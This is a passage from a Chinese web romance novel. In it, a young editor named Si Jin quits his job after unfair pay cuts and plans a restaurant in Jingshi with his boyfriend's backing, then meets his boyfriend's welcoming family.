“橙子,你看看你的对不对。” 司谨的手臂被戳了戳,这才从聊天中回过神来,拿起了放在桌上的手机点开。 看清楚银行卡的增加数字后,他也不住怔了怔。 “我这个月好像少了点啊,怎么回事?跟我算的不太一样。”有人小声嘟囔这么一句。 司谨皱皱眉头,说:“我少了很多。” “难不成连我们的工资也发不起了?” 周围人都忍不住开始讨论起来,司谨听着,心沉了下去,总觉得不太对。 找出群里发的工资条,他查看后发现扣除的全是绩效。 “……” “橙子,你上个月请假次数这么多,扣除全勤和绩效是正常的,其他的你可以直接去问总编和主管,这个我不清楚。” 被人事搪塞回来,司谨心底不免挫败,可是跑了别的地方也是得到同样的答案。 同事都开始暗暗讨论要辞职的事情,但司谨知道他们也只是随口说说,实际上根本没人真的打算走。 只是在这样的环境中待久了,他居然也忍不住开始摇摆。 回到家,他的心情还是不太好,懒懒靠在沙发上抱着笔记本看后台数据,今日的稿费已经远超他几天的工资,每一次刷新都在增长,忽然间又抚平了他心中的烦躁。 燕绥安这几天说要出差,要明天晚上才会回来。 他简单补充了番外,又记录下了脑海中浮现出的灵感,起身去洗漱时张望一圈,却发现屋内是前所未有的空荡,竟然让他感觉到了久违的孤独感。 洗完澡出来,他准备早些休息,隐约间却听见屋门被敲响。 心脏微颤,他感受到了几分激动,可快步到了玄关打开门,外头的却是抱着大箱子的二姐。 “准备休息了?” 司淑美看着是刚忙完,一头长发卷成大波浪,脸上化着精致的妆容,身上穿的衣服也时髦漂亮,这会儿一见着他就笑了,抱着东西往里头挤。 司谨无端感到一丝失望,笑笑迎她进来:“姐,这是什么?” 司淑美将箱子放在玄关,进来把鞋换了,又拍了下他伸过来要接的手。 “脏死了,你刚洗完澡别碰这个。” 司谨被训了,只得乖乖站在边上,给她递剪刀。 “这是我从老师那的特产,一些板鸭酒糟鱼什么的,你们可以弄好一盘慢慢吃,挺下饭的。”司淑美蹲在客厅,将那些罐子取出来,放好在柜子上,“要是不会做,周末我来帮你弄。” 司谨眼眶蓦然一酸,闷声点头。 司淑美收拾完去厨房洗过手,出来的时候看见他抬手擦眼睛,察觉到不对:“小谨,你怎么了?” “没事。”司谨不想让她担心,也觉得自己这副样子太丢脸。 明明只是一点小事。 司淑美却是蹙紧眉头,不依不饶:“跟姐说说,别自己一个人憋着。” 司谨摇摇头,抬起头想要转移话题,却看见她认真的表情,最后只得含糊道:“就是这个月工资少了,心里有点委屈。” 此话一出,司淑美松了口气:“肯定是因为请假的事情,这也正常,扣了多少?姐给你垫上?” “不用的。”司谨就知道她会这么说,又连忙补充,“原本请假扣绩效也不是那么多的,这次是公司的问题。” 司淑美沉默几秒,猜到了什么:“你是不是不想在这里干了?” 司谨许久没有说话,迟疑两秒才缓慢地点了点头。 “我也不知道,可能是有点想走吧。” 司淑美想了想坐在沙发上,示意他也过来。 两人坐下后,她才低声道:“你有能力,想走也可以,有想好去哪里吗?” 司谨摇摇头,他这些天也看过了,海城合适的太少,风浪已经算是很不错的地方了。 “小谨,要不你去京市试试呢?”司淑美平时也会看些小说,“我听说很多大公司都在京市,你去那边肯定能发展更好。” 她说到这又顿了顿,笑着补充:“大城市机会多,你想做什么都行啊。” 司谨原本就有些心动,被她这么一说,脑子里更是清除不掉这个想法了。 司淑美跟他一起长大,这会儿见着他的表情就知晓他心里头在想什么,便道:“你别想太多,搞清楚自己想不想去就行了,你姐我是现在没机会,未来等我有名气了,技术水平上去了,肯定也会跟着老师一起去京市发展的。” “你说的有道理。” 司谨叹了口气,心情复杂。 “你好好想想,也不着急啊,辛苦了这么久,如果真的辞职了可以先休息一段时间。”司淑美拍拍他的肩膀,笑着,“姐最近被介绍了很多活,工资可不低,能养你一阵。” 司谨被她逗笑:“我才不需要。” “行啊,都开始嫌弃姐姐了。” 司淑美知道怎么叫他高兴,聊了没多久便离开回去休息,司谨送她到门口,看着人进了电梯才怅然若失关上了门。 回到房间里,看着空旷的床,他又止不住想起和燕绥安晚上聊着天入睡的画面,这会儿心底酸酸涨涨的,是很隐秘的思念。 和燕绥安在一起后,他们几乎就没怎么分开过,以至于他现在居然感觉很不习惯。 发出去的晚安几乎是秒回,他原本想问问对方在做什么,最后还是将手机放在边上,闭上了眼睛。 这一夜始终没有熟睡,他梦里闪过许多画面,有老家发生的事情,也有最近后台的读者评论,等到最后只剩一双狭长的眼眸,一眨不眨盯着他,里头蓄积的情感浓重到让人无法忽视。 胸膛一重,他的呼吸忽然变得困难,克制不住挣扎一下,却被束缚得更紧。 眉头不禁蹙起,司谨下意识睁开双眼,可是看见昏暗一片的房间,却分不清楚是梦境还是现实。 正当他愣神时,却感觉到一双手搂着他,耳边传来另一个人的呼吸声。 身体下意识僵住,正当他扣住那只手想坐起身时,又猛地反应过来。 燕绥安被他的动作惊醒,睁开眼搂住他,习惯性拍拍他的后背:“怎么了?做噩梦了?” 司谨微怔,看着他抬手摁亮了床头的氛围灯,看清楚那张脸以后才终于有了真实的安定感。 “你什么时候回来的?” “凌晨到的,吵醒你了?”燕绥安脸上倒是没有多少困倦。 “没有。” 司谨舒了口气,往他怀里钻去。 他的动作让燕绥安惊讶的同时也顿觉心底一暖,伸手揽住他,俯身下去吻了吻他的嘴唇。 “想我了?” 司谨这会儿迷迷糊糊的,甚至有种怀疑自己还在做梦的感觉,于是便也不觉得难为情,认认真真点了头。 “想。” 燕绥安心底一喜,很高兴地将他搂紧怀里,俯身去啄吻他的耳垂和脸颊,惹得怀中人止不住扭头躲避。 “有多想?我才走了两天,晚上不会睡不着吧?” 司谨无奈,转头看了他一眼,诚实回答:“那倒不会。” 话音刚落,耳垂被不轻不重咬住,他顿时觉得耳廓连着脖颈一片都热了起来。 燕绥安压着他,好似在发泄情绪。 他身体沉得不行,压得司谨有些难以呼吸,只好反手去推他:“你还睡不睡了?” “睡。” 燕绥安言简意赅回答完,炙热的吻就转移到了他唇上。 司谨身体绷紧,脸颊绯红,觉得他好像会错了意。 这些天燕绥安的吻技明显又有提升,一抓着他就停不下来,这会儿手掌揉着他敏感的侧腰,没有丝毫要推开的意思。 司谨刚迷迷糊糊醒来就面对这样大的冲击,脑袋还发着懵,就被他给拽着手摸上了块垒分明的小腹。 他曲曲手指要抽回来,却被燕绥安大力摁住。 “躲什么躲?平时我健身的时候不是一直盯着看,怎么连摸一把都不敢?” 司谨的确一直都觉得他身材很好,偶尔看见他脱了衣服擦汗就会看两眼,可是他一直觉得自己做得很隐秘,连燕绥安是什么时候察觉到的都不知道。 这会儿脸颊涨红,他说不出解释的话来。 “宝宝,喜不喜欢?”燕绥安却不依不饶,非要得到个答案,拽着他的手又往下,摁在侧腰那条深凹下去的鲨鱼线上。 司谨脸颊通红,只好点点头。 燕绥安低低笑了声,凑过来又是亲他。 察觉到手被挪着换了个地方,司谨莫名紧张,手指曲起,耳畔的呼吸声就重了。 “……” 次日又是周末,司谨起床时燕绥安还在熟睡,他便没有打扰,自己收拾东西出门兼职。 到一粟时间正好,也没时间同其他人聊天寒暄,直接去了工作的地方。 谁料上午工作结束,他跟其他同事一起收拾过餐厅,却被程姐给喊进了休息间。 他进去发觉彭露几人都在,一时间心底便有了猜测。 “小司,这是我送你的礼物。”程姐笑着看向他,“我老家的特产,一点心意别嫌弃。” 司谨露出诧异惊喜的表情,上前接过:“谢谢程姐。” 嗅到空气中不对的气氛,他没有立即打开,而是看了眼彭露,发觉对方的眼眶有些泛红。 “我干完今天就走了,以后要是有机会咱们说不定还能一起共事。”程姐安慰道。 其他几人都露出不舍的表情,程姐平时虽然严厉,但遇见什么事都会第一时间扛下,所以在这上班时间长的人都对她有很深的感情。 “程姐。”彭露是最舍不得她的,“你之后是要自己开店吗?回头要开了能不能把我给招过去?我会努力给你打工的,不会叫你失望。” 程姐被她逗笑,忙过去抱着她:“你的能力我肯定是清楚的,只是我也许不会在海城开,不知道你们情不情愿。” “那姐你打算去哪?”彭露连忙追问。 程姐思忖片刻:“应该会去京市吧,海城不太合适。” 她说完,几人都沉默了,彭露犹豫几秒却道:“我可以的,姐,回头你要是真的需要人可以跟我说,我早就想去京市见识一下了。” 程姐闻言忽然愣住,良久叹口气,凑过去抱住她,是很感动的模样。 司谨在边上听着,没来由的心动了- 回到家,他心里还藏着事情,自然是瞒不过燕绥安。 他昨晚刚被夸过身材,今天在家闲着没事干折腾,贤惠地把家里收拾了一遍,又拎着杠铃做了几组简单运动,这会儿一听见开门声就蹦了起来。 “宝宝,不高兴?” 其实司谨平时也是这副平淡的表情,基本上没有情绪太外露的时候,以至于他听见燕绥安的话,第一时间不是回答而是好奇。 “你怎么看出来的?” 燕绥安微微眯起眼,笑了笑:“我就是知道。” 司谨撇撇嘴,把包放下,忽然主动钻进他怀里,两只手臂环着他的腰,表现出了难得的依赖。 身体微微僵硬,燕绥安下意识也抱住他,可又察觉到自己浑身都是汗:“我身上脏。” “我也脏。” 听着闷闷声音从怀中响起,燕绥安轻笑,轻轻松松托着他的臀把人抱起来,转身去了沙发。 哄小孩似的颠了颠,他凑过去吻吻司谨的侧颊:“跟我说说。” 司谨也没犹豫,直接把今天的事情和他说了。 他倾诉的时候声音很轻,听着仿佛不是在说自己的事情,只是在说起程姐送的特产时尾音中带了点落寞。 “前几天二姐听说了我的事情,还劝我也去京市。” 燕绥安轻轻抚摸着他的后背,耐心问:“京市是很好,但竞争压力也很大,你怎么想?” “我不知道。”司谨声音中带着迷茫,“其实我对京市也是有向往的,但是我还没有做好去一个陌生城市的准备。” 他从余城来,对于刚成年的他,海城就是心目中数一数二的大城市,他在这里生活了五年,对于这个地方已经有了归属感,被家里拉扯着的时候他还想尽量走远点,到了海城才发现还是不够,可即便一直想要去更加繁华的城市发展,却也下不了决心。 燕绥安感觉到了他的挣扎,沉默良久,还是小声试探:“宝宝,去京市开餐厅,好不好?” 司谨微怔,一开始还没有反应过来。 可下一秒燕绥安将他拥住,认真道:“和程佳一起,我做你的股东,司店长赚了钱分红给我,好不好?” “你……” 司谨大脑嗡嗡作响,几乎觉得是自己听错了。 “高兴就去管管店,闲下来继续写书,这样总不会觉得空闲时间太多吧,如果精力还有剩的话,”燕绥安轻笑一声,俯身下来同他鼻尖相抵,声音缠绵,“就抽空多陪陪我吧。” 他都说得这么明白了,司谨又怎么会还不明白他的意思。 不可置信地愣怔了许久,他才后知后觉反应过来,说:“我不能用你的钱。” “怎么算是用我的钱?”燕绥安不满,“宝宝,未来你是要还的知道吗?我高瞻远瞩,觉得你和程佳都有头脑,提前投资而已。” 他在这自夸,司谨险些笑出来,可脸上还没挤出笑容,眼眶就先一步红了。 “怎么还哭了?” 燕绥安着急起来,忙擦擦他的眼泪,“是哪里不喜欢?我不是故意瞒着你,只是想等这件事情稳了以后再和你说,免得白高兴,还是说……不想去京市?那咱们继续海城待着也可以,宝宝别哭了。” 司谨抓住他的手腕,湿润纤长的睫羽微颤。 “没有不高兴,也没有不想去。” 他声音还有些哑,让燕绥安一听心就软了。 “那这是怎么了?被我感动到了?” 司谨见他明知故问,抬眼看过去,眼神中带着点控诉的意味。 “好好好,我知道了。”燕绥安被这一眼戳中心脏,不敢再逗他,好一阵哄。 等到情绪逐渐缓和下来,司谨才深吸口气,克制下过速的心跳。 “我只是觉得太不真实了,前几天我还在觉得可惜。” 燕绥安听他带着鼻音的说话声,忍不住凑过去啄吻他的唇角,不要脸地说:“老公知道,所以才特意抽空去办这件事,选址已经订好了,要不要看看?” 司谨这会儿情绪还难以平复,抿住嘴唇抱紧了他。 “谢谢老公。” 他难得这么喊一声,燕绥安克制地滚动一下喉结,瞬间觉得自己的辛苦没白费。 抱着怀里的人又揉又搓,好一阵他心满意足抱着人,又哄:“再叫一声。” 司谨的脸红了个彻底,没理会他这一句,垂着眼捷思考了好一阵,才小声地说:“但是我也要出钱。” “嗯?” 司谨在心底算过一笔账,于是这会儿便也和他说了自己的方案,把自己这些年的积蓄找出来给他看。 “小财迷,赚的还挺多。”燕绥安看完也不由感叹,“你才工作一年,怎么存款都有这么些了。” 司谨有些不好意思:“有一部分是大学兼职攒下来的,一直没有动过,还有上个月的稿费也在这里面,这个月应该会更多,可以加在一起。” 燕绥安啧啧两声,扶着他脑袋又是吧唧一口。 “挺厉害的啊,我现在觉得这餐厅更有指望了。” 两人商讨了一晚上,终于达成了一致。 次日一早,司谨睁眼再打开手机,程姐已经主动给他发了消息,显然已经知道了和自己合伙的人就是他。 抱着手机回复讨论良久,燕绥安带着一身煎蛋香味从外头进来,难得瞧见他这个点还在床上玩手机,立马露出调侃表情。 “今天不去一粟了?” 司谨刚和程姐聊完,一见着他便坐起身,冲着他伸出手。 燕绥安了然,凑过去搂着他,“开心了?” “嗯。”司谨毫不掩饰自己的情绪,“我不去一粟了,今天……” 燕绥安期待地看着他,等待下一句。 司谨沉思片刻,说:“今天就写新书大纲吧。” 脸色倏然沉了下来,燕绥安不由分说凑过去在他脸上狠狠嘬一口。 “好啊,难得有闲着的时候,也不跟我玩。” 司谨小小叫了声,摸着发烫的脸颊躲开,也觉得理亏,只得问:“那要去约会吗?你想要去哪里?” “非得出门吗?”燕绥安委屈的不行,“知不知道什么叫二人世界?咱们待在一起就是约会。” 司谨被他说服,只好答应下来。 只是等他起床吃过了早餐,却还是被嘴上说着不出门的燕绥安拽出去了。 出门时还被勒令套上了那件情侣装,司谨跟着他进了商场,总觉得哪里不太对。 “我们来干什么?” 燕绥安认认真真盯着手机,浏览电影列表,说:“看电影。” 说完又凑过来,把手机屏幕递到司谨面前,纠结道:“宝宝,你觉得哪部好?” 司谨扫了一眼,看起来都是没什么意思的片子,但身边的人一副期待的模样,他也不好让燕绥安失望,便随手选了一部。 谁料选中一部大烂片,直到看完电影去吃饭,燕绥安还忍不住吐槽这要命的剧情,司谨左耳朵进右耳出,吃过饭询问他下午的安排,在听见毫无意外的公园散步以后也没有表现出任何不满。 乖乖跟着他跑东跑西,抵达中心湖公园以后提议租了两辆自行车,之后沿着湖边慢慢骑行,聊些有的没的。 燕绥安体力好,放慢速度和他贴在一起。 司谨缓慢骑着,想起来问:“那你的公司在海城,以后如果我去京市了……” 他话还未说完,燕绥安便道:“我也准备回京市。” 说完,不等司谨开口,他补充:“其实早就在想了,回去那边发展也没什么不好的,反正海城公司有裴落在,不用操心。” 知道燕绥安是个有自己想法的人,所以他确定了的事情,司谨便不再过多干涉,只道:“那封阿姨就不用那么担心了。” 提起这个,燕绥安忽然紧张起来。 “前段时间我和我妈聊过,她也知道原先关心过了头,已经在改了,未来不会再过多干涉我的事情。” 司谨没听出什么,点点头:“那很好啊,封阿姨是很爱你的,说明白以后肯定会更加顾及你的感受。” 他原先就看出来了一点,只是他们母子两人之间的交流太少了,其实彼此都是很在意的。 “宝宝。”燕绥安忽然喊住他。 中心湖泛着粼粼水光,夕阳光芒折射洒落在男人身侧,勾勒出他深邃专注的眉眼。 司谨不禁一怔,继而听见他开口。 “过段时间我带你回家一趟吧,我家里人都很喜欢你,虽然有些唐突,但我也想让你熟悉一下我的过去,如果你觉得时机没到……等以后再说也没关系。” 燕绥安说完心跳就变得急促,牢牢盯着面前人错愕的面容,生怕他说出拒绝的话。 可司谨只是怔了一秒,便慢慢点了头:“好啊。” 第43章 公司中的气氛越发不对劲,终于在周五这天爆发。 “你最近手上的新作者也不少,寄神乐和另一个作者就先交到总编手里吧,正好有些版权的流程要走,也更加方便。” 司谨垂下眼眸,不由得蹙眉:“这两个作者一直都是我在跟进。” “橙子,这件事情你也有功劳,但毕竟只是运气好捡漏而已,正好风月要离职,她手上的作者你可以选一批走。” 风月就是一个月前才来的那个实习生,她手上的作者原本就是被其他编辑挑过一轮的,现在剩下的都是些难带的新人。 想到这些天改不完的稿子,司谨重重叹了口气,忽然觉得好像没有必要再等月底了。 抬眸看向面前的主管,他说:“我也要辞职。” 对方面露错愕,像是没想到他也会走,此时挤出一抹勉强的笑容:“橙子,你在工资干了一年,原先来的时候不是说准备多干几年吗?” “那是我之前的想法了。”司谨心底还是紧张的,不着痕迹攥紧了垂在身侧的手,他没有丝毫退让,“我不想干了。” 主管的脸色一下子沉了下来:“是不是因为工资的问题?你上个月请了多少天的假,我们这边也是都记得很清楚。” 司谨看了他一眼,只觉得心累:“反正怎么说我都要辞职。” 他实在没有心情再和这人多说话。 “你是不是已经找好下家了?” 司谨不说话,对方也没了办法,只让他回去再好好想想,但等司谨回到了工作位置,便打开文档开始写辞职信。 周围所剩无几的同事察觉到不对劲,都凑了过来。 “橙子,你也要走啊?” “我的天,这两天走了三个老编辑了,你们是不是提前知道了什么公司的内情啊?” 司谨摇摇头:“不是,我有别的安排了。” “真羡慕啊,我也想辞职可是压力太大了,等到时候你们都走了,编辑部岂不是就剩下我们几个人?这还不得累死。” “前段时间来的实习生都没通过,我怎么感觉公司是故意的?” “……” 司谨没有接话,打完辞职信便去办公室找人事。 递交辞呈后自然又是熟悉的总编和主管轮流谈话,司谨硬着头皮聊完,等到下班时间后背已经完全被汗湿了。 坐上地铁,他仍然觉得自己刚才没有发挥好,可是既然目的已经达成,那就已经算是进步了。 前些天他和燕绥安说起辞职的事情感到担忧,还被拉着一起演练了许久,今天果然是派上了用场。 回到家得知这件事,燕绥安又是一顿夸,吃过饭两人便躺在沙发上,一边看纪录片一边规划之后搬去京市的细节。 “程姐已经过去了,等我这边解决以后也要跟她一起去参加总部的培训。”司谨懒懒靠在他怀里,昏昏欲睡。 燕绥安担忧摸了摸他的脸,“这么辛苦,新书要不推迟些?” 他知道这些天司谨一直在做新书的大纲,文档长到让他看一眼就觉得头晕,倒是准备齐全。 “不要了,我过几天就要开始写正文,只是不能像上一本那样写完再发了。”司谨做过编辑,自然知道读者群体是有粘性的,太久不开新就会被逐渐遗忘。 “好吧。” 燕绥安总是吐槽他太辛苦,但确定了他是真想做一件事后,也不会过多干涉。 几日后,司谨开始了工作的交接,风浪费了不少劲终于又找来了新编辑,司谨一对一交接倒也不觉得辛苦,闲下来还有时间看看自己的后台消息。 宋晓西得知他即将辞职去京市的消息也很震惊,喊着他带上二姐一起出去玩。 到了吃饭的地方,宋晓西同二姐一见如故,宋晓西就着美妆穿搭问题一通请教,聊得热火朝天。 司谨在边上听着倒也觉得有意思,想到过段时间可能要和燕绥安一起回家,忽然紧张起来,忍不住插话求教。 司淑美对于和长辈的相处之道也不太了解,她这会儿思考半天,只能把问题抛给了宋晓西。 宋晓西其实一听就知道是怎么回事,猜测是在自己之前的刺激之下,燕绥安已经将家里的问题处理好了,欣慰的同时心底也松了口气,但却不敢表现出来,只能一个劲装傻。 “见什么家长?小谨已经和随便面基了吗?” 他这么一问,司谨才后知后觉反应过来还没和他说这件事,只是略过了他中间和燕绥安产生的那些误会,简单解释了一遍。 “反正就是这样,燕绥安其实就是随便。” 宋晓西露出了原来如此的了然表情:“那这么一说你们还真是有缘分啊,之后去京市打算他家里拜访吗?” “嗯,他说回去见一见。”虽然司谨在答应燕绥安时没有表现出多少情绪起伏,可心底实际上也是紧张的,“我之前其实见过他妈妈,挺好说话的,但是其他人我都没有了解,不知道他们会不会对这件事有意见。” 司淑美啧一声:“应该不会吧,我看小燕挺有家教的,家里人应该都比较讲理吧。” “我也觉得不会。”宋晓西是最清楚内情的,连忙开解,“他都喊你去了,肯定是早就和家里人说好的,不要太担心。” 司谨思忖片刻,也觉得有道理。 他努力调节状态,回去路上思考回头去了要带什么礼物,只是让他没想到的是,当天晚上就收到了封阿姨的消息。 封阿姨:【小谨下班了吗?听绥安说你过段时间要来京市,阿姨一家想邀请你来家里吃一顿便饭,你有没有什么忌口呢?阿姨让厨师做些你喜欢吃的菜】 司谨微怔,礼貌回复没有,正犹豫着要不要再说些什么,对面又发来了新消息。 封阿姨:【到时候绥安的大哥大姐都会在,希望你不要太紧张,我们都很欢迎你的,来的时候不用带礼物,人到就好了,阿姨准备好饭菜在家里等你们】 后面还搭配了个简单的温和笑脸表情,司谨稍一愣怔,心底泛起隐约的暖意- 抵达京市的前几天,司谨同程姐参加了一粟总部的培训,因为两人都有经验,所以省了不少事。 “真没想到最后是咱们一起。”程姐到了店里还止不住感慨,“这件事我还没和彭露说,她知道了肯定立马买着车票就来了。” 司谨闻言止不住笑起来,想到招人的事情,一时间也头疼:“姐,你过段时间要回老家?” 程佳正要和他细说这件事:“是,我有点事回去一趟,所以回头面试的话可能你得多费点心,前几天彭露也联系我了,到时候她会直接过来,可以帮着你。” 司谨犹豫片刻,仍旧觉得为难,但还是点了头:“好。” 嘴上答应的好,可是晚上回到酒店他便开始苦恼起来,好一阵搜索。 招聘是程姐在做,回头会约着人到店里,他只需要面就好了,但他这会儿连要问什么都不确定,只好将搜索出来的问题保存下来,决定之后先演练一遍。 没多久外头传来开门的声音,他也差不多做好准备了。 正起身要出去,燕绥安就直奔房间,直接在他身边趴下。 “今天累不累,忙什么呢?” 司谨冲他晃了晃屏幕:“我在想面试要问的问题。” 燕绥安眯着眼看了一遍,有些惊喜地挑了挑眉:“挺不错啊,很全面。” “我就是有点怕露怯。”司谨从来没干过这种事,想到自己马上要当老板了,还觉得不那么真实。 “怕什么?跟平时一样就好,反正你和程佳一个唱白脸一个唱红脸,显得好说话也没关系。”燕绥安知道他紧张,凑过来捏了捏他的手,弯起眼眸笑了,“要不求求我,回头我陪你一起。” 司谨看了他一眼,移开视线小声嘟囔:“还是不要了,你看起来一点亲和力都没有。” 燕绥安故作生气皱皱眉,撑起身压住他,轻轻松松捏着他手腕扣在头顶,微眯眼眸道:“你都这么说了,那我还是凶点好。” 司谨觉得他这副样子可爱极了,忍不住笑了起来,压根就没有要挣扎的意思。 “你平时没表情的时候看着是挺不好惹的。” “还说我没有亲和力,一见我就乐成这样。” 燕绥安虽有不满,但还是俯身下去,身体力行让他知道了什么才叫真的不好惹- 前天晚上太放纵的后果就是两人相拥到第二天上午才悠悠转醒。 司谨刚动了动,就感觉大腿一阵酸软,作业那些羞耻的画面骤然回笼,让他又是忍不住闭上眼睛。 太过火了,大腿内侧的皮肤本就敏感单薄,这会儿轻轻一动似乎还能感觉到那种摩擦的异样触感。 “醒了?” 耳后传来男人刚苏醒时更显低哑的声线。 司谨嗯了声,揉揉眼睛想坐起来,又被他揽着腰捞了回去。 火热的手掌心搓搓他后背,燕绥安似乎很不情愿放他走:“再躺一会。” 司谨翻个身,盯着那张妖孽俊美的面容看了许久,还是叹口气说:“很晚了,不是说中午去你家吃饭吗?晚到了不太好。” 被他一提醒,燕绥安才猛地睁开眼睛,一副刚想起来的样子:“差点忘了,那是得快点准备。” 被他松开,司谨撑着坐起身,动作间感觉到昨夜折腾过久的腰泛着酸软。 下意识皱皱眉,燕绥安立马捕捉到,有些愧疚过来给他揉揉。 “不舒服吗?要不改天再去。” “不行,都说好了的。”司谨脸有点红,“而且我也没怎么,你别一副……” 后面的话说不出来。 燕绥安了然,心虚凑过去吻吻他额角,若有所思道:“这样都这么夸张,那回头动真格岂不是得特意腾时间。” 司谨脸色一变:“你要弄死我啊。” 他皱着小脸一副担忧的模样,惹得燕绥安心生怜爱,忙凑过去哄。 “怎么会。” “我觉得会。”司谨被他哄了这么段时间,也比从前会表达多了,小声嘟囔完,眉宇间就染上了忧愁。 见他像是真不安起来,燕绥安猜到了原因:“宝宝,你是不是没看过?” 司谨面露困惑,好半天才反应过来他在说什么,脸颊涨红了。 见了这反应,燕绥安还有什么不明白的,当即笑了起来:“晚上回来一起学习学习?” 司谨瞥了他眼,一言不发掀开被子起身去洗漱了。 等他换好衣服再出来,燕绥安也收拾完了自己,这会儿面露担忧看着他,似乎想说什么。 两人吃过早餐,司谨看了眼时间。 “我们出发吧。” 前往燕家的路上两人始终无言,直到绕过了热闹繁华的街市,转入辉煌高大的小区大门后进入静谧别墅区,司谨才回过神来,心底升起些紧张。 这里的房子中间都隔着一大片精致漂亮的绿化,车开了许久,外头那种喧闹的声响似乎也逐渐消失了。 “别紧张,咱们吃个饭就上楼午休去,我带你看看我以前住的房间。” 燕绥安忽然开口,却也没让司谨放下心来,只闷声点头。 “好。” 没开多久,燕绥安忽然将方向盘扭向一边,在路边停下,解开安全带探身过来,掌着他的后脑勺重重亲上来。 “你干嘛啊?”司谨正紧张着,下意识扭头避开,忍不住蹙紧了眉头。 燕绥安眸中藏着危险,不满道:“出发之前想说什么?一路上都闷闷不乐的。” 没想到他会在这种时候忽然提起,司谨措不及防,只能推着他的肩,“没有,我们快点去吧,再晚就到饭点了。” “弄不明白我吃不下饭。” 燕绥安不依不饶,司谨也没了办法,眼神躲闪一下,才小声说了句什么。 他语气太含糊,燕绥安一时间居然没听清:“我怎么了?” 司谨瞥他一眼,简直觉得他是故意的,可这会儿被他摁在座椅上动弹不得,只能乖乖重复。 “你这么熟练,是因为有很多经验吗?” 这话说完,他看着燕绥安微怔的模样,不自然垂下眼眸,想要做出不在意的样子,却又做不到。 最开始燕绥安那样说,他还觉得很不好意思,可是之后虽然觉得不应该,却还是忍不住想东想西起来。 他对于燕绥安的事情了解很少,只是根据两人的相处来看,觉得燕绥安是个很表里不一的人,表面上看是不好接近的大少爷,到了私底下却丝毫不吝啬表达自己的情绪和爱意,这样的热情几乎也感染了他,使得他在这段感情中也收获了很多自信。 可是随着熟悉,他却无法抑制地去猜测燕绥安的从前。 燕绥安那么会说情话,对什么都好像很懂,跟木讷呆板的他完全是不一样的。 “所以,你一路上其实就是在气这个?” 司谨回神,想说自己明明只是因为要去他家而紧张,可一抬头却对上了一双含笑的眼睛。 “你就这么想我是吧。”燕绥安不满地说着,俯身凑下来吻他时,唇角却还勾着笑意。 “抱歉……” 司谨觉得自己不该问这个,成年人有感情经历是再正常不过的事情了。 可下一秒,燕绥安却捧着他脸,强迫他抬起头看向自己,接着表情认真下来,一字一句道:“我没跟别人谈过。” 司谨刚愣怔,就被他在唇上啄了一口。 “也没亲过别人。” 搭在身侧的手被捉住,不轻不重揉捏两下。 “只喜欢过你一个,这些不要脸的话也只和你说过……” 司谨脸颊微微发烫,在这一刻却听见了自己震耳欲聋的心跳声,让他觉得慌张又无措,可藏在心底最深的,却还是隐秘的欣喜。 “宝宝,我这么喜欢你,你肯定也感觉到了吧。” 第44章 在路上一通折腾,抵达燕家院中时,司谨还觉得脸上红潮尚未褪去。 他现在能够确定了,燕绥安就是个报复心很强的人,可无论什么时候都是一边哄着一边凶着,让他觉得难以招架,怎么都习惯不了。 “别紧张,看不出来。”燕绥安将后座的礼物提着,目光在他唇上流连许久。 司谨抿抿嘴唇:“你不要看了。” 他真怕一会儿被看出什么来。 燕绥安刚才满足了,这会儿倒也没多说什么,牵着他直接进了门。 刚进院子,燕绥安还没来得及开口介绍,大门里头便出现了一道身影。 封冉悦也在家等待许久了,一察觉到外头的动静就跑了出来,这会儿看着牵着手的两人,心中泛过一阵复杂的情绪。 面上露出笑容,她连忙上前:“小谨来啦,听说这些天到了京市都在忙工作,累不累?” “封阿姨好。”司谨肉眼可见的慌张,露出礼貌微笑,“不累的。” “还带这么多东西。”封冉悦责备地看他一眼,“都说过不要带礼物的,就是家里人吃个饭。” 燕绥安越听越尴尬,进门前问:“大哥大姐都到了?” “你大哥早上压根就没出门。” 一进门,佣人上前将拖鞋摆好,司谨连忙点点头:“谢谢。” “这是钟姨,在我们家很多年了。”封冉悦介绍。 “钟姨好。” 司谨认认真真打招呼,换过鞋看了眼偌大的屋子,止不住惊讶。 绕过了玄关,原本坐在沙发上的男人都站起了身。 单人沙发前的中年男人器宇轩昂,穿着灰色的休闲服,和燕绥安有着五六分相似的面上是阅历堆积的沉稳与成熟,而另一侧的男人看起来要更加年轻,戴着副金丝边眼镜,看起来要更加像封阿姨。 “这就是小谨吧。”燕尚先一步开口,唇角勾起温和的笑意。 “这是我哥。”燕绥安逐一介绍。 司谨很忐忑,认真打过招呼,发现屋子里还少了个人。 被带着坐在沙发上,因为封阿姨和他还算熟悉,燕尚也是个健谈的,所以场面倒也不显得尴尬。 燕绥安始终坐在边上,偶尔替他回答几个问题,司谨的后背逐渐放松下来,可目光却有些不敢朝着左边方向看去。 那里坐着的人是燕绥安的父亲。 “那这么说,小谨以后是要在京市发展了?”封冉悦先前只是听说了一些他的事情,但这会儿才知晓他准备来京市,联想到了什么,脸上情不自禁流露出了期待和试探。 燕绥安知道她心里在想什么,故意没看向她的方向。 “对,餐厅现在已经在装修了。” “是一粟吗?这个品牌倒是挺出名的,原先我在海城时也尝过几次。”燕尚接话。 几人就着这个话题谈论良久,封冉悦再次试探:“那这么说,小谨以后是都住在京市了?” “是的。” 司谨也不笨,察觉到了封阿姨实则是想问燕绥安,思忖片刻还是用手臂轻轻捣了一下身边人的胳膊。 可燕绥安只是将手搭在了他腿上,轻轻拍了拍,然后拿起手机看了眼时间,假装什么都没察觉到,嘟囔一句:“大姐还没到啊,我都饿了。” 他在家说话向来是没什么顾忌的,此时几人也只得叹口气。 “应该快到了,刚才你们到的时候她就说忙完了,最近酒店事情多。” 话音刚落,外头就传来了停车的声音。 “这不就来了。” 封冉悦刚起身,外头的人推开车门径直就进了屋子。 “钟姨。” 燕玥打过招呼,进门目光第一时间就落在了司谨的身上,冲着他笑了笑。 “嗨,又见面了。” 只是匆匆一眼,司谨就回想起来这是他上一次早上在酒店见到的女人,眼睛微微一亮,也冲她点点头。 “姐姐好。” 燕绥安听着他乖巧礼貌的语气,莫名就觉得心里头痒痒的。 “到齐就开饭吧。” 燕阔峥站起身,带着夫人和孩子们一同落座。 他们吃饭时倒也安静,只有燕玥来得晚了,偶尔询问司谨几个问题,并没多言。 司谨能够感受出,这一家人对他的态度都很热情礼貌,放心下来的同时也不禁感到疑惑。 他最开始还以为燕绥安的家里人或多或少都会有些意见,但现在看起来好像跟他想的完全不一样,难道是爱屋及乌? 吃过饭以后,燕尚和燕玥倒是也抓着燕绥安一阵调侃,虽然没一句正经话,但那种亲密的感觉是旁人插不进去的。 